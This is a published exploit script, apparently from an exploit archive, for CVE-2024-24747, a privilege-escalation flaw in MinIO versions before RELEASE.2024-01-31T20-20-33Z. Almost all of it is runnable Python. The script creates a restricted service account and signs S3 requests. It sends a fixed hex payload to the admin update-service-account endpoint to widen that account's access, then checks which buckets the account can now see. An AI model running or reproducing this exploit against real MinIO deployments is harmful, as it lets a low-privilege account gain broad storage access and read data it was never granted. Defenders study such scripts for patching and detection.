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MinIO < 2024-01-31T20-20-33Z - Privilege Escalation Exploit
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# Exploit Title: MinIO < 2024-01-31T20-20-33Z - Privilege Escalation # Exploit Author: Jenson Zhao # Vendor Homepage: https://min.io/ # Software Link: https://github.com/minio/minio/ # Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z # Tested on: Windows 10 # CVE : CVE-2024-24747 # Required before execution: pip install minio,requests import argparse import datetime import traceback import urllib from xml.dom.minidom import parseString import requests import json import base64 from minio.credentials import Credentials from minio.signer import sign_v4_s3 class CVE_2024_24747: new_buckets = [] old_buckets = [] def __init__(self, host, port, console_port, accesskey, secretkey, verify=False): self.bucket_names = ['pocpublic', 'pocprivate'] self.new_accesskey = 'miniocvepoc' self.new_secretkey = 'MINIOcvePOC' self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36', 'Content-Type': 'application/json', 'Accept': '*/*' } self.accesskey = accesskey self.secretkey = secretkey self.verify = verify if verify: self.url = "https://" + host + ":" + port self.console_url = "https://" + host + ":" + console_port else: self.url = "http://" + host + ":" + port self.console_url = "http://" + host + ":" + console_port self.credits = Credentials( access_key=self.new_accesskey, secret_key=self.new_secretkey ) self.login() try: self.create_buckets() self.create_accesskey() self.old_buckets = self.console_ls() self.console_exp() self.new_buckets = self.console_ls() except: traceback.print_stack() finally: self.delete_accesskey() self.delete_buckets() if len(self.new_buckets) > len(self.old_buckets): print("There is CVE-2024-24747 problem with the minio!") print("Before the exploit, the buckets are : " + str(self.old_buckets)) print("After the exploit, the buckets are : " + str(self.new_buckets)) else: print("There is no CVE-2024-24747 problem with the minio!") def login(self): url = self.url + "/api/v1/login" payload = json.dumps({ "accessKey": self.accesskey, "secretKey": self.secretkey }) self.session = requests.session() if self.verify: self.session.verify = False status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code # print(status_code) if status_code == 204: status_code = 0 else: print('Login failed! Please check if the input accesskey and secretkey are correct!') exit(1) def create_buckets(self): url = self.url + "/api/v1/buckets" for name in self.bucket_names: payload = json.dumps({ "name": name, "versioning": False, "locking": False }) status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code # print(status_code) if status_code == 200: status_code = 0 else: print("新建 (New)"+name+" bucket 失败 (fail)!") def delete_buckets(self): for name in self.bucket_names: url = self.url + "/api/v1/buckets/" + name status_code = self.session.request("DELETE", url, headers=self.headers).status_code # print(status_code) if status_code == 204: status_code = 0 else: print("删除 (delete)"+name+" bucket 失败 (fail)!") def create_accesskey(self): url = self.url + "/api/v1/service-account-credentials" payload = json.dumps({ "policy": "{ \n \"Version\":\"2012-10-17\", \n \"Statement\":[ \n { \n \"Effect\":\"Allow\", \n \"Action\":[ \n \"s3:*\" \n ], \n \"Resource\":[ \n \"arn:aws:s3:::pocpublic\", \n \"arn:aws:s3:::pocpublic/*\" \n ] \n } \n ] \n}", "accessKey": self.new_accesskey, "secretKey": self.new_secretkey }) status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code # print(status_code) if status_code == 201: # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)!") # print(self.new_secretkey) status_code = 0 else: print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)!") def delete_accesskey(self): url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8') status_code = self.session.request("DELETE", url, headers=self.headers).status_code # print(status_code) if status_code == 204: # print("删除" + self.new_accesskey + " accessKey成功!") status_code = 0 else: print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)!") def headers_gen(self,url,sha256,method): datetimes = datetime.datetime.utcnow() datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ') urls = urllib.parse.urlparse(url) headers = { 'X-Amz-Content-Sha256': sha256, 'X-Amz-Date': datetime_str, 'Host': urls.netloc, } headers = sign_v4_s3( method=method, url=urls, region='us-east-1', headers=headers, credentials=self.credits, content_sha256=sha256, date=datetimes, ) return headers def console_ls(self): url = self.console_url + "/" sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" headers = self.headers_gen(url,sha256,'GET') if self.verify: response = requests.get(url,headers=headers,verify=False) else: response = requests.get(url, headers=headers) DOMTree = parseString(response.text) collection = DOMTree.documentElement buckets = collection.getElementsByTagName("Bucket") bucket_names = [] for bucket in buckets: bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data) # print('当前可查看的bucket有:\n' + str(bucket_names)) return bucket_names def console_exp(self): url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95" headers = self.headers_gen(url, sha256, 'POST') hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336" content = bytes.fromhex(hex_string) if self.verify: response = requests.post(url,headers=headers,data=content,verify=False) else: response = requests.post(url,headers=headers,data=content) status_code = response.status_code if status_code == 204: # print("提升" + self.new_accesskey + " 权限成功!") status_code = 0 else: print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)!") if __name__ == '__main__': logo = """ ____ ___ ____ _ _ ____ _ _ _____ _ _ _____ ___ __ __ ___ |___ \ / _ \ |___ \ | || | |___ \ | || | |___ || || | |___ | / __|\ \ / / / _ \ _____ __) || | | | __) || || |_ _____ __) || || |_ / / | || |_ / / | (__ \ V / | __/|_____| / __/ | |_| | / __/ |__ _||_____| / __/ |__ _| / / |__ _| / / \___| \_/ \___| |_____| \___/ |_____| |_| |_____| |_| /_/ |_| /_/ """ print(logo) parser = argparse.ArgumentParser() parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1") parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin") parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin") parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000") parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090") parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.") args = parser.parse_args() CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https) # 0day.today [2024-05-20] #